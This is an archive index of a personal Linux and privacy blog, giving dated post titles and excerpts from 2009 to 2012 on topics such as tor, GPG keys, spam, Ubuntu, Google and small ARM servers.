Verity Stob is having trouble getting a new IP address. What with the IPV4 address exhaustion problem, it would seem that the only alternative is IPV6. This is causing Verity some grief. Stress brings out my unoriginal streak. I said: ‘Where am I?’ ‘You are at 2001:db8::ff00:42:8329.’ ‘What?’ ‘Your new IP address at 2001:db8::ff00:42:8329.’ He …
August 21 :- debian on a DNS-320
Back in 2009 I bought, on impulse, a D-Link DNS-313 thinking it was sufficiently similar to the 323 to enable me to install debian with some ease. As I noted at the time, however, I’d made a slight mistake and then had to settle for a compromise installation from a tarball rather than a full …
August 20 :- what every iphone needs
I stumbled across this site today when following a link from an email on the topic of reflashing an android tablet with CyanogenMod. The guy who sent the email (to the ALUG list) had bought a generic 7″ android tablet. He was considering reflashing with CM9 and was asking for advice/guidance/gotchas or whatever before doing …
August 15 :- the stainless steel rat bows out
I read today that Harry Harrison has died at the age of 87. Harrison was one of the greats of the SF glory years. Alongside Heinlein (whose work he spoofed mercilessly) Philip Dick, Asimov, van Vogt, Ray Bradbury, Bob Sheckley, Doc Smith and a host of others I grew up with in the 60s and …
August 8 :- oops
An attempted quick search this morning using ixquick over tor drew a blank. In fact I hit a brick wall as the screenshot below will show. The commentary provided by ixquick is self-explanatory (click the image if you have difficulty reading the snapshot), but I can’t help feeling that this problem should have been foreseen …
August 2 :- outlook goes public – linus approves
Microsoft has (re-)launched its free public email service (previously branded “hotmail” and “windows live”) under the brand “outlook”. Outlook has been Microsoft’s email client on the corporate desktop for many years now, so they may be hoping that the new look email product will benefit from the existing brand’s goodwill. However, I noticed from a …
July 31 :- avoiding accidental google
Even though I set my default search engine to anything but google (usually ixquick, but sometimes its sister engine at startpage) I have occasionally been caught out by firefox’s helpful attempts to intervene if I mistakenly enter a search option in the URL navigation field (or just hit return too early). Firefox’s default action in …
July 28 :- too much bling
Avid readers will note that I have reverted to a simpler, two column, layout. Posts and pages are to the left, and additional navigation links are to the right. Some of my friends commented that the three column layout, with several images in the outer columns was distracting (actually, one said “bleah!”). I left it …
July 24 :- coercion
David commented on my gpg upgrade post saying: “How does one ensure that they are not coerced into signing a transition statement with a new (but compromised) key?”. Well, you can never be sure I can’t be coerced, and this is why I can’t be sure I cannot be coerced: My thanks as always to …
July 22 :- the accidental stupidity of good intentions
For some years now I have used what used to be the freecycle system to dispose of unwanted, but otherwise useful items from my home. In return I have sometimes used the same mechanism to get hold of things like books which someone else wishes to get rid of. A couple of years or so …
July 20 :- gpg key upgrade
Following a recent discussion about gpg key signing on my local linux user group email list, one of the members pointed out that several of us (myself included) were using rather old 1024-bit DSA GPG keys with SHA-1 hashes. He recommended that such users should upgrade to keys with a minimum size of 2048 bits …
July 7 :- RBS meltdown
I’ve been away on holiday during the one of the most public, and potentially most expensive, IT screwups for some time. By now everyone will be aware of the meltdown in RBS/NatWest/Ulster Bank systems. Since my return, I’ve been catching up on some of the on-line commentary and analysis. I particularly liked this comment on …
June 19 :- fail
My new bank (which is actually one of the few remaining mutuals in the UK) sent me my voting forms for the AGM today (by postal mail). The information pack included details of how to vote on-line should I choose to do so, together with two unique “voting codes” one of eight digits the other …
June 17 :- microsoft goes all canonical
It would seem that Microsoft has been taking a look at the world of linux and decided that the best way to take on the emerging desktop threat is to emulate the competition. Unfortunately for them, they seem to have decided to emulate the stupidest of decisions recently taken by Canonical and have completely redesigned …
May 27 :- software is /not/ biological
I know language evolves, and I know that jargon from one domain is sometimes reused in another, completely unrelated domain, but I really, really do not like the increasing usage of the word “ecosystem” to refer to software/hardware or information systems. I think I first heard the word used in this way by a Microsoft …
May 25 :- stupid hunt
According to reporting today, Jeremy Hunt, the Secretary Of State for Culture, Media and Sport, lobbied the Prime Minister in support of Rupert Murdoch’s bid for BSkyB. The report says: “The inquiry heard that the culture secretary drafted the email on his private Gmail account on 19 November 2010 despite being warned by his officials …
May 22 :- tor abuse
I have been running at least one tor exit node for about three years now. Over that period I have occasionally had to move provider following one or more abuse reports. Most ISPs like the quiet life, and you can’t really blame them for not wanting the hassle of dealing with complaints from other ISPs …
May 19 :- pure bubble
El Reg reports that facebook share dealing opened at $42 per share (up $4 on the opening IPO price of $38). As they wryly point out, the Telegraph reports that that price makes the company “worth” more than Boeing. That is nonsensical beyond belief. Boeing actually make things. Big things, that other companies pay a …
May 13 :- disappointing satnav
One of my hobbies is motorcycling. I have travelled extensively by bike in central and southern europe over many years, but oddly, I have never visited scotland before. I intend rectifying that shortly. When travelling in europe I have always made do with the excellent Michelin range of 1/1000000 (1 cm to 10 km) maps. …
April 24 :- cheap?
Michal Zalewski (aka lcamtuf) has just announced that google is changing the terms of its vulnerability purchase program. The google announcement says: Today, to celebrate the success of [the program] and to underscore our commitment to security, we are rolling out updated rules for our program — including new reward amounts for critical bugs: $20,000 …
April 18 :- now switch it back on
Bugtraq can be an interesting list. Back in June 2008 I noted that one Craig Wright had posted an advisory about a vulnerability in an Oral B toothbrush. Well, just over a week ago a chap called Gabriel Menezes Nunes posted a proof of concept remote denial of service attack on a Sony Bravia television …
April 18 :- stallman likes sharing
The guardian’s series on internet freedoms (or otherwise) continues today with an article by Richard Stallman on the kindle and ebook publishing. Stallman makes a point I’d missed in my own commentary on the kindle when he says: “Many other habits that readers are accustomed to are not allowed for ebooks. With the Amazon Kindle, …
April 17 :- battle for the internet
This week the guardian, my newspaper of choice, is running a week long series of articles under the theme “battle for the internet“. The reporting looks set to be interesting and is due to cover the following themes: “the militarisation of cyberspace”, “the new walled gardens”, “IP wars”, “civilising the web”, “open resistance”, and (doomladen …
April 16 :- rockbox rocks
Some time ago my wife bought me a Sansa Sandisk Clip+ music player. When she asked me “what kind of MP3 player” I would like, I specifically specified the Clip+ because it could handle ogg vorbis encoded audio files. All my audio disks are encoded in this format. Picky I know, but there you go. …
March 31 :- this video is private
I have just tried to (re)view a youtube video I last looked at a couple of weeks ago from a link that a friend sent me in an email. On clicking the link I got the message: “This video is private. If the owner of this video has granted you access, please log in.” On …
March 29 :- that didn’t take long
My last post contained two (non-existent) email addresses in my baldric domain in the extract from my postfix logs. As I said in the post, I had edited the log entry specifically to mask real details. Yesterday, only four days after that post, I received spam email attempts at those addresses. As I have said …
March 24 :- android mail client is broken
In January of this year I wrote about t-mobile’s apparent policy of actively looking for and blocking any TLS-secured SMTP sessions over their network. At the time I believed this to be a cockup rather than a deliberate policy. I still prefer to believe that, but the episode left a rather sour taste in my …
March 19 :- unlinked
Today I received two (make that four now – must sort out my spam filters) phishing emails from a source new to me. Each email purported to come from “linkedin” and each invited me to login to respond to “invitations from your work colleague”. Since a) I have never been a member of linkedin, and …
March 14 :- unplugged
A few days ago my sheevaplug died. Beyond the obvious lack of response either over the network or through the USB serial connection, the symptoms (single green LED rather than blue and green LED lit, ethernet LED light steady rather than flashing) were all consistent with a blown PSU. This problem is well known and …
March 9 :- steam locomotive
Most debian users will be familiar with the ASCII “moo” easter egg in apt-get. I have just stumbled upon a more elaborate piece of ASCII art by one Professor Toyoda Masashi who wrote a joke program to reprimand those command line users who misspell “ls” as “sl” (it happens). I installed it on my desktop …
March 7 :- iBomber Defence: Nuclear Option
Today’s G2 has a nice little article by Tim Dowling called “What’s on David Cameron’s iPad“. Dowling’s article says: “David Cameron is about to take delivery of a specially programmed prime ministerial iPad, reportedly at a cost of £20,000 (3G contract not included). An iPad devotee already – he uses it to catch up on …
March 6 :- banking stupidity
When I logged on to my new bank site this morning, I tried the “help” offered on the opening screen just to see what they had to say about the range of options available. I was not best pleased to be greeted by the message “Flash is not installed, is not enabled or is not …
March 4 :- am I kidding myself
I have recently moved my bank current and short term savings accounts. Partly this is a political statement in support of the move your money campaign, and partly because I feel that my money might actually be a bit safer (if only slightly) in a small UK Mutual than with the UK arm of a …
March 4 :- wordpress 3.3.1 bug update
Addendum to previous post. On further experimentation, the problem seems to be caused by a combination of graphene 1.6.1 and wordpress 3.3.1, not just 3.3.1 alone. I’ll post to the graphene support site to see if anyone else has seen this.
March 4 :- wordpress 3.3.1 bug?
As part of the move to the new site I also upgraded wordpress to the latest release (3.3.1). Unfortunately I found a small bug in that version so I have reverted to the earlier version. The bug is odd, and not particularly problematic but irritating nonetheless. It prevents upload of media (such as is used …
March 1 :- we’ve moved (again)
Back in September 2009 I moved trivia from its original home on a cheap shared web hosting platform to one of my first VMs at Bytemark. However, in that move I left the design relatively untouched. (Having sat through more than my fair share of tedious powerpoint presentations I’m a firm believer in the power …
February 20 :- HMG goes cloudy
The UK Cabinet Office has announced the winning bidders to supply IT goods and services to UK Government under its new framework contract called “G-Cloud”. The winners are listed on a new website called the CloudStore which, supposedly, allows HMG procurement specialists to search for the goods and services they want to purchase. The new …
February 14 :- Досвидания камрад?
From a peak of around 25,000 mail drops per month in the backscatter I was getting from the .ru domain to the non-existent address “info@baldric.net” I am now seeing virtually none. My logs show a distinct drop off from mid to late December last year to about 10-15 emails per day (when I had previously …
February 7 :- perl programmer goes rabid
As a Guardian reader I find the Daily Mail distasteful and I would not normally refer to it in trivia. However, a friend of mine has just sent me a link to a random Daily Mail page generator which manages to lampoon the rag quite successfully. Further investigation of the author’s blog reveals another random …
January 30 :- tomorrow the world
A slightly breathless new post over at omgubuntu proudly boasts that the market share of Linux on the desktop jumped “from 0.96% in January 2011 to 1.41% by the year’s end.” (That could equally be be written as a close to 50% rise in Linux’ popularity). No doubt this will scare the pants off Steve …
January 22 :- moxie’s proxy
Moxie Marlinspike, a security researcher probably best known for his SSL proxy tool, likes google even less than I do. His googlesharing website says: “Google thrives where privacy does not. If you’re like most internet users, Google knows more about you than you might be comfortable with. Whether you were logged in to a Google …
January 18 :- and darkness shall be upon the face of the net
Today, 18 January 2012, parts of the ‘net went deliberately dark in combined opposition to the SOPA (A Bill to:“promote prosperity, creativity, entrepreneurship, and innovation by combating the theft of U.S. property, and for other purposes.” I love the “other purposes” bit.) and PIPA bills currently being considered by the US legislative machinery. These two …
January 12 :- t-mobile resets its policy?
As I have mentioned in other posts here, I run my own mail server on one of my VMs. I do this for a variety of reasons, but the main one is that I like to control my own network destiny. Back in October last year I noticed an interesting change in my mail experience …
January 12 :- tails in a spin
When I first tested running a tails mirror on one of my VMs, the traffic level reported by vnstat ran at around 20-30 GiB per day. I figured I could live with that because it meant that my total monthly traffic would be unlikely to exceed my monthly 1TB allowance. However, when I checked the …
January 5 :- well it’s not me
With grateful thanks as always to xkcd.

2011 (42)

December 24 :- happy birthday trivia
Astonishingly, today is the fifth anniversary of my first post to trivia. So, five years ago on christmas eve, I was writing a blog post. Five years later, it is again christmas eve and what am I doing? Hmmm.
December 24 :- bah, humbug
At this time of year it is traditional to receive christmas cards from people with whom you may have only infrequent, if any, contact on a normal daily basis. If you are in a relationship, these cards will often be addressed to you as a couple or family, and be signed on behalf of other …
December 20 :- the amnesic incognito live system
Or “tails” if you prefer, is a live CD/USB distribution based on debian which aims to help you preserve your privacy and anonymity when out and about. As the home website says, tails helps you to: use the Internet anonymously almost anywhere you go and on any computer: all connections to the Internet are forced …
December 19 :- tunnelling X over ssh
OK, yes, I know there are probably already a gazillion web pages on the ‘net explaining exactly how to do this, but I got caught out by a silly gotcha when I tried to do this a couple of days ago, so I thought I’d post a note. Firstly, X is not exactly a secure …
November 30 :- tp-link respond
A couple of weeks ago, I wrote about the problems I had with a TP-Link IP camera. Today I received a comment on that post from a guy called Luke in the TP-Link support team. In that response he apologises for the difficulties I had and promises to investigate further. His response deserves as wide …
November 23 :- no you can’t have my mobile number
I guess, like me, many parents will have facebook accounts simply as a means of communicating with their kids. In the past I have used my account as a way of finding out what my kids actually do, or like in the way of music for example. This can be more fruitful than attempting a …
November 23 :- the most influential people in UK IT?
This would be funny if it weren’t quite so tragic. A friend of mine has just pointed me to the Computer Weekly “second annual UKtech50” poll of “the definitive list of the real movers and shakers in UK IT – the CIOs, industry executives, public servants and business leaders driving the creation of a high-tech …
November 23 :- google buys advertising
In an interesting reverse of the norm, google paid for three full page adverts in the guardian a couple of days ago. Today there is yet another full page ad in the same paper. I assume they have run similar campaigns in other UK newspapers over the past few days, The ads are quite intriguing …
November 16 :- do not buy one of these
Standalone IP cameras have come down in price quite remarkably over the past few years. It is now perfectly possible to get a camera for between £50.00 and £75.00, and this makes them attractive for anyone wanting to set up simple “home surveillance” systems. I bought one recently just to see what I could …
November 9 :- ubuntu de-throned
For the first time since early 2005, Ubuntu has fallen off the top spot on distrowatch. The new number one, by page hit ranking, is Linux Mint. I’m not at all surprised.
November 9 :- do I trust this site?
Following a visit to EFF to read an article on e-book privacy, I met this: So. EFF uses a wildcard SSL cert issued by a company which was breached earlier this year.
November 9 :- dis-unity
The reaction to Ubuntu’s move to Unity seems to be getting wider coverage. Over at LWN, Bruce Byfield blogged recently about the rift between the Ubuntu developers and its users. In particular he highlights Tal Liron’s entry to the Ubuntu launchpad bug wiki under bug number 882274. In that entry, entitled “Community engagement is broken” …
November 8 :- I prefer the chip wrapper version
My newspaper of choice is the Guardian. Recently they were forced to increase the cover price and ever since have been running a series of advertisements for various forms of subscription which will lower the cost from some £35.00 pcm (if you include its sister paper the Observer on sundays) to as little as £9.99 …
November 6 :- fully minted
After exploring the alternatives to Ubuntu, I finally settled on Linux Mint Debian Edition (LMDE) running Xfce as the desktop. I am now Ubuntu free and have a desktop that looks the way /I/ want it to look rather than the way some design nut wants it to look. I am also hopeful that the …
November 4 :- there is no version 7
This week’s BOFH in El Reg rings horribly true: “I JUST WANT MY MENU BACK!” “You mean you don’t like the ribbon? It’s new!” “I don’t care if it’s new – I can’t find anything!” Back when I was a sysadmin we used to call users a “test load”.
October 19 :- time to ditch ubuntu?
I’ve used Ubuntu on my desktops/laptops and netbook for some time now. I think my first installation was 6.06 (the version 6.04 which was late by two months) and my desktops currently all run 10.04 LTS. I got over the minor irritation of the move of the window control buttons from the top right to …
October 19 :- I don’t have a start menu
You know those irritating conversations you have with “support” staff at your ISP whenever you have a problem which is even slightly off their script? Well xkcd has a solution. Use the code word “shibboleet”. It might work. Nothing else ever does. With thanks as always to xkcd
October 14 :- clarity is not a virtue
Picking up my copy of the second edition I was reminded of the old obfuscated c contests. One of the earliest (anonymous) entries was this tribute to K&R’s famous printf(“hello world\n”); —————————————————————————- int i;main(){for(;i[“]<i;++i){–i;}”];read(‘-‘-‘-‘,i+++”hell\ o, world!\n”,’/’/’/’));}read(j,i,p){write(j/p+p,i—j,i/i);} —————————————————————————- c is not known as flexible for nothing.
October 14 :- mountain streams
In response to the news of Dennis Ritchie’s death, Ted Harding, a long time member of the anglia linux users group posted an interesting comment to the list this morning. Ted has kindly given me permission to link to that comment. Like Ted, I too hope we shall be seeing proper tributes to both Dennis …
October 13 :- a double googol
It seems that google has lost a recent battle to wrest control of the goggle.com domain away from its owner. I wonder if they’ll want to have a go at me next.
October 13 :- Dennis Ritchie dies
Now this is getting depressing. It seems that Dennis Ritchie (the “R” in K&R, author and creator of the C programming language and genuine legend in computing history) died last weekend. Bell Labs reported yesterday, and confirmed today, that Ritchie had died after a long illness. He was 70 years old. As a unix fan, …
October 11 :- I have a policy
As I have said in many posts in the past, I care about my privacy. I also care about yours. Ironically however, I have not until now codified exactly what I mean by that, nor have I identified what I will or will not do to protect your privacy. This seems to me a little …
October 10 :- that looks like a scam to me
The volume of spam backscatter I am receiving at the baldric.net domain currently runs at around 18-20,000 emails per month, nearly all of which is aimed at the info@ address I have mentioned before. My mail server is currently configured to reject mail to non-existent users at the SMTP level with a permanent failure message …
October 7 :- rip steve jobs
Whilst I have never been an Apple fan, I was enormously saddened to learn of the death on wednesday of Steve Jobs. He was a visionary architect and was undeniably a charismatic, if idiosyncratic, leader in the world of computing and technology. Whilst his death was not unexpected, he will be missed.
September 27 :- webcam mark II
Upgrading the slugs to squeeze killed the webcam. At first I thought that squeeze was missing the necessary gspca drivers, but no, a quick look in /dev revealed an entry for video0 and “lsmod” reported “gspca_zc3xx” loaded correctly. This is a different driver to that which my camera loaded in lenny (spca5xx) but a quick …
September 26 :- squeezing the slugs
Debian 6 (squeeze) has been the current stable version since February 2011. The latest version (6.02) was released in late June. I have put off updating my slugs from lenny (old stable) for a while because I wanted to see how others faired before committing myself. Indeed, initial reports on the debian arm list indicated …
August 14 :- my wife bought me a kindle
I feel it only right to add to the post below by noting that my wife bought me a Kindle for my birthday. I have since found one useful aspect to electronic publishing. A Kindle can reduce the weight of your luggage when going on holiday. But I still prefer the “real thing”. “Speedbump” cartoon …
August 14 :- in praise of dead trees
As an unashamed gadget freak I suppose I should applaud the rise of the e-book in all its wondrous forms. But actually I much prefer the “real thing” (TM). Some while back I became involved in a series of email exchanges about e-books in general and the Amazon Kindle in particular. That exchange made me …
August 14 :- what time does the pub open
I wanted to check the opening time for a local shop and petrol station this morning so I plugged in a query about opening times to my favourite search engine and hence came across a rather useful little wiki called, not unnaturally, opening times. That sort of single purpose site is exactly what makes the …
July 18 :- who are you going to call
Like most email users I get my fair share of spam and other internet crud. Mostly I ignore it, but I received an intriguing email a couple of days ago which purported to be a mailer daemon “Delivery Status Notification” informing me of a failed delivery to some address I had not even heard of. …
July 2 :- one reason I don’t use apple
Being a linux and FLOSS fan has its advantages, not least the fact that most, if not all of the software I would want to use (and indeed, /all/ of the software that I actually do use) is free as in beer as well as free as in speech. And given the much smaller target …
May 11 :- I know I shouldn’t do this
but I just can’t resist it. The Cabinet Office has launched a trial version of a new central government portal called alpha.gov.uk (snappy title). This trial site is a taster for what the designers hope could be a “new, single UK Government website”. I cannot help but be amused by the fact that one of …
March 29 :- irony is not dead
Installing counterize to analyse trivia’s logs has been instructive. I now know that some of my most visited pages are consistently those of a “how-to” nature (in particular, those about postfix, dovecot and, strangely, reflashing the old BT home hub). In many ways this is satisfying since one of the objectives of this blog is …
March 27 :- from russia with love
A few weeks ago I installed pflogsumm on my mail server in order to automate my mail log scanning. For some time I had been conscious that my mailer had been rejecting a lot of mail with “user unknown” but I had never really investigated that in any depth. Running pflogsumm over the logs on …
February 1 :- no police here
The UK Home Office launched a new crime statistics website today at www.police.uk. The site is supposed to show “Local crime and policing information for England and Wales”. I’m not entirely convinced of the merit of the site in the first place (and can see all sorts of potential objections arising in some of the …
January 29 :- is my computer off
This site is probably even more pointless than most webcams, but it, and the site it was inspired by, amused me. Having found this, I just had to register a similarly pointless domain of my own. So now I am the proud owner of theinternetisoff.net Make it your home page. You know it makes sense. …
January 27 :- now I feel bad about blogging
El Reg has a wonderful ROTW post here. One “Matt Kracht” lays into an article by Andrew Orlowski about P2P bitorrent users saying: “I hate… no, I *loathe* when bloggers try to move to online news sites. If there’s one thing that web 2.0 has done, it has fucked up journalism so bad that nobody …
January 26 :- I guess they do it differently over there
I came across a potential new entry to the “slug replacement” competition today in the shape of a 2GHz Sheeva Marvell based plug computer by Ionics called the Nimbus 2000 (all the company’s products seem to be named after cloud types – wonder why). In addition to that rather fast ARM CPU, this little beast …
January 24 :- wordpress setup
I have just added a couple of new plugins to this blog and tidied up some old cruft that I had been meaning to get around to for a while. One of the plugins I have added is a really rather good statistcs tool called Counterize II. It provides a very quick (and impressively comprehensive) …
January 23 :- click here
The Cory Doctorow article referenced at the end of the post below mentions URL shorteners as potentially dangerous because they completely obscure the actual URL you will be taken to if you click them. By way of experiment I thought I’d post one here just to see how often it is used.
January 23 :- damn, I think I got hit by a 419er
I am normally pretty careful about my on-line security and privacy. I take a lot of care to ensure that my home network is nailed down tightly and all the clients and servers on it are also nailed down as well as I know how. I don’t use software which is susceptible to the majority …
January 4 :- critical security update to wordpress
This blog comes to you courtesy of those excellent free open source authors who have contributed to wordpress. Unfortunately, in common with all software, wordpress inevitably has some bugs. Worse, some of the those bugs can occasionally be sufficiently bad as to make the software vulnerable to remote exploitation by ne’er do wells and other …

2010 (36)

December 31 :- a personal note
I have not posted anything new since October because I have been hobbled following an operation to my ankle. Perversely, this made sitting at my desk (and hence my keyboard) very uncomfortable because my leg would swell inside the plaster if I stayed in a seated position for more than a few minutes at a …
October 9 :- google opt out village
The Onion News Network reports: This is not satire……
October 9 :- maybe I should sell
I have been exploring the InTrust Domain Names website I mentioned in the previous post. There are some absolutely astonishing prices quoted for some domains which do not immediately spring to mind as being particularly valuable. For example, the domain falldaron.com is quoted at $10000000.00. If you actually click on that domain name you are …
October 9 :- domain sales pitch
In the past couple of days I have received some amusing email spam. I own ten different domain names, mostly in the .net TLD. The spam emails in question all offered to sell me the domain “exnic.com” on the grounds that I already own “exnic.net” (not an unreasonable sales pitch). It turns out that this …
September 25 :- professional ability
I was skimming through a series of security related sites last week when I came across an article referring to someone described as something like “A Person, M.Inst.ISP, CISM, CISSP, MBCS, CITP, BSc, Director of etc…..” and I found myself wondering what that all actually meant. Yes, I know what the letters stand for, hell …
September 14 :- very, very, slow electrons
I recently received an email from my old chum Chris Samuel. Chris emigrated to Australia several years ago, but we still correspond, if infrequently. In fact he sometimes comments here. But he is not good at email. This is what I received: On Thu, 19 Dec 2002 03:50:08 am you wrote: > Have a very …
September 12 :- a graphical web of trust
I recently stumbled upon sig2dot, a gpg/pgp keyring graph generator. In fact this seems to have been around for some time, but I’d never come across it before. It can be used to generate a graph of all of the signature relationships in a GPG/PGP keyring, and, like other visualisation tools, this graphical image producing …
September 4 :- kseniya simonova
This has absolutely nothing to do with my usual topics but I make no apology for posting this because the artistry is stunningly beautiful. I was sent a link to Kseniya Simonova’s sand art by a correspondent on a mailing list I subscribe to. Apparently the artist is telling the story of a ukrainian family …
September 4 :- it’s not that I’m anti google
I’m just pro privacy. And google just happens to be one of the worst offendors when it comes to breaches of my privacy. El Reg yesterday ran an article pointing to the consumerwatchdog.org ad depicting Eric Schmidt as a “privacy pervert”. Deliciously, that ad is hosted on youtube. But consumerwatchdog have long campaigned about google’s …
August 29 :- phone home
Google’s chrome browser first appeared back in 2008, since when many commentators have sung its praises. Apparently it is “blindingly fast” (well, let’s face it firefox can be a tad slow, particularly if loaded down with a swathe of plugins) “clean”, and “simple”. Until recently I had not tried chrome (for some fairly obvious reasons) …
August 27 :- update to autossh – or how ServerAliveInterval makes this unnecessary
I had a couple of comments on my earlier post about autossh which suggested that I should look at alternative mechanisms for keeping my ssh tunnel up. Rob in particular suggested that setting “ServerAliveInterval” should work. Oddly I had tried this in the past whilst trying out various configuration options and I swear it didn’t …
August 2 :- they are taking over the entire net
Some time ago I disabled my wp-recaptcha plugin because it had the unfortunate side effect of marking all comments as spam. I don’t have a particularly high comment rate, but the ones I do get, and which get past akismet, are usually OK. Apparently a flaw in version 2.9.6 surfaced when wp-recaptcha was used in …
August 1 :- autossh – or how to use tor through a central ssh proxy
Since I first set up a remote tor node on a VPS about this time last year, I have played about with various configurations (and used different providers) but I have now settled on using two high bandwidth servers on different networks. One (at daily.co.uk) allows 750 Gig of traffic per month, the other (a …
July 25 :- the “awesome power” of the apple brand
I have been following the unfolding tale of the faulty antenna on the new iPhone4 with some amusement. Apple’s complete inability to admit to any possibility of a mistake is hugely entertaining. Apple (or is it Jobs?) seem to be unable to contemplate the possibility of the need for a recall. Such hubris is bound …
July 4 :- there are more than 10 kinds of people in the world
A correspondent on a mailing list I subscribe to uses the .sig “There are 10 kinds of people in the world. Those who understand Vigesimal, and 9 others.” Even after checking what vigesimal was, I had to think about this for a bit because initially I thought he was wrong. If I understand correctly, I …
July 4 :- scroogle is having a problem
I posted a note about scroogle back in January. Scroogle offered an SSL interface to the google engine, and, moreover, didn’t lumber its users with google cookies and sundry other irritations. Since then, however, google themselves have started to offer an SSL interface and, coincidentally, scroogle seem to have started to have some problems. If …
May 6 :- this is a politics free zone
Well, I have cast my vote. Let’s hope we get the result we need.
May 3 :- email address images
Adding valid email addresses to web sites is almost always a bad idea these days. Automated ‘bots routinely scan web servers and harvest email addresses for sale to spammers and scammers. And in some cases, email addresses harvested from commercial web sites can be used in targetted social engineering attacks. So, posting your email address …
May 2 :- ubuntu 10.04 – minor, and some not so minor, irritations
If and when the teething problems in 10.04 are fixed and the distro looks stable enough to supplant my current preferred version, I will be faced with one or two usability issues. In this version, canonical have taken some design decisions which seem to have some of the fanbois frothing at the mouth. The most …
May 2 :- ubuntu 10.04 problems
The lastest LTS version of ubuntu (10.04, or lucid lynx according to your naming preferences) was released to an eagerly waiting public on 29 April. Long term support (LTS) versions are supported for three years on the desktop and five years on the server instead of the usual 18 months for the normal releases. My …
April 18 :- where are you
I have added a new widget to trivia – a map of the world from clustrmaps which gives a small graphic depicting where in the world the IP addresses associated with readers are supposedly located. Geo location of IP addresses is not a perfect art, but the map given corresponds roughly with what I expect …
April 2 :- there are 10 kinds of people in the world
With grateful thanks to xkcd.
March 31 :- webDAV in lighttpd on debian
I back up all my critical files to one of my slugs using rsync over ssh (and just because I am really cautious I back that slug up to another NAS). Most of the files I care about are the obvious photos of friends and family. I guess that most people these days will have …
March 30 :- what a user agent says about you
I get lots of odd connections to my servers – particularly to my tor relay. Mostly my firewalls bin the rubbish but my web server logs still show all sorts of junk. Occasionally I get interested (or possibly bored) enough to do more than just scan the logs and I follow up the connection traces …
March 30 :- unplugged
My earlier problems with the sheevaplug all seem to have stemmed from the fact that I had installed Lenny to SDHC cards. As I mentioned in my post of 7 March, I burned through two cards before eventually giving up and trying a new installation to USB disk. This seems to have fixed the problem …
March 21 :- psp video revisited
I last posted about ripping DVDs to PSP format back in November 2007. Since then I have used a variety of different mechanisms to transcode my DVDs to the MP4 format preferred by my PSP. A couple of years ago I experimented with both winff and a command line front end to ffmpeg called handbrake. …
March 15 :- 16 is so much safer than 10
I am indebted to a colleague of mine (thank you David) for drawing this to my attention. The Symantec Norton SystemWorks 2002 Professional Edition manual says: “About hexadecimal values – Wipe Info uses hexadecimal values to wipe files. This provides more security than wiping with decimal values.” I suppose octal or (worse) binary, just won’t …
March 7 :- plug instability
I’m still having a variety of problems with my sheevaplug. Not least of which is the fact that SDHC cards don’t seem to be the best choice of boot medium. I have had failures with two cards now and some searching of the various on-line fora suggests that I am not alone here. In particular, …
February 28 :- from slug to plug
Well this took rather longer than expected. I intended to write about my latest toy much earlier than this, but several things got in the way – more of which later. About three or four weeks ago I bought myself a new sheevaplug. The plug has been on sale in the US for some time, …
February 26 :- homeopathy
I can’t recall how I got there, but this made me laugh enough to want to share it.
February 20 :- isp shenanigans
I have recently been off-line. And I am less than happy about the reasons. My ISP recently informed me that it was changing it’s back end provider from Entanet to Vispa. Like many small ISPs, my provider does not have any real infrastructure of its own, it simply repackages services provided by a wholesaler who …
January 23 :- life is too short to use horde
I own a bunch of different domains and run a mail service on all of them. In the past I have used a variety of different ways of providing mail, from simple pop/imap using dovecot and postfix, through to using the database driven mail service in egroupware. Recently I have consolidated mail for several of …
January 22 :- tor server compromise
According to this post by Roger Dingledine, two tor directory servers were compromised recently. In that post Dingledine said: In early January we discovered that two of the seven directory authorities were compromised (moria1 and gabelmoo), along with metrics.torproject.org, a new server we’d recently set up to serve metrics data and graphs. The three servers …
January 10 :- are you /really/ sure you want that mobile phone
The launch of the google nexus one “iPhone killer” reminds me just how prescient Dr Fun’s cartoon of 16 January 2006 (see third cartoon down from the top on the right) really was. I just love the way the google employee in the video says at the end that Verizon and Vodafone have “agreed to …
January 2 :- using scroogle
For completeness, my post below should have pointed to the scroogle search engine which purportedly allows you to search google without google being able to profile you. Neat idea if you must use google (why?) but it still fails the Hal Roberts test of what to do if the intermediate search engine is prepared to …
January 2 :- scroogled
One of the more annoying aspects of the web follows directly from one of its strengths. The web is actually designed to make it easy for authors to cross refer to the work of others – hyperlinking is intended to make linking between documents anywhere in web space seamless and transparent. Unfortunately, this cross linking …

2009 (34)

December 30 :- shiny!
Well I finally cracked and ordered an N900 on-line just before Christmas. Nokia had been promising since about August of this year that the device “might” ship in the UK around October. Since then, the release date has slipped, and slipped, and slipped (much to the amusement of an iPhone using friend of mine who …
December 12 :- comment spam
I block comment spam aimed at this blog, and I insist that commenters leave some form of identification before I will allow a comment to be posted. Further, I use a captcha mechanism to keep the volume of spam down. Nevertheless, like most blogs, trivia attracts its fair share of attempted viagra ads, porn links …
December 12 :- colossally boneheaded
David Adams over at OS News has posted an interesting commentary on Eric Schmidt’s recent outburst. Referring to Schmidt’s statement which I commented on below, Adams says: I think the portion of that statement that’s sparked the most outrage is the “If you have something that you don’t want anyone to know, maybe you shouldn’t …
December 7 :- privacy is just for criminals
I’ve mentioned before that I value my privacy. I use tor, coupled with a range of other necessary but tedious approaches (such as refusing cookies, blocking ad servers, scrubbing my browser) to provide me with the degree of anonymity I consider my right in an increasingly public world. It is nobody’s business but mine if …
November 29 :- apple antipathy may be misplaced
Apparently the lastest release of the iPhone OS (v 3.1) has caused a few minor problems with WiFi and battery life. This has led El Reg to moan about the fact that you can’t downgrade the iPhone OS to an earlier version. I’m no great fan of Apple, but to be fair, this situation is …
November 15 :- system monitoring with munin
A while back a friend and colleague of mine introduced me to the server monitoring tool called munin which he had installed on one of the servers he maintains. It looked interesting enough for me to stick it on my “to do” list for my VPSs. Having a bunch of relevant stats presented in graphical …
November 11 :- OSS shouldn’t frighten the horses
Since I first read that Nokia were adding much needed telephony capability to their N8x0 range of internet tablets I have been watching the development of the new Nokia N900 with much interest. It looks to be potentially the sort of device I would buy. Despite all the hype around the iPhone, I really dislike …
November 1 :- a free (google) service is worth exactly what you pay for it
I note from a recent register posting that that some gmail users are objecting to the fact that google’s mail service has failed yet again. El Reg even quotes one disgruntled user as saying: “More than 30 hours without email…totally unacceptable. I’ll definitely have to reconsider my selection of gmail for my primary email account. …
October 29 :- call me by name, or call me by value
The old saw about “real” programmers versus the rest (known as “quiche eaters”) was originally summarised beautifully in the classic letter to the editor of Datamation in July 1983 entitled “real programmers don’t use pascal”. (See also this link.) Similar religious (i.e. irrational, but deeply held) positions are taken around various other “lifestyle” choices, such …
October 28 :- handbags
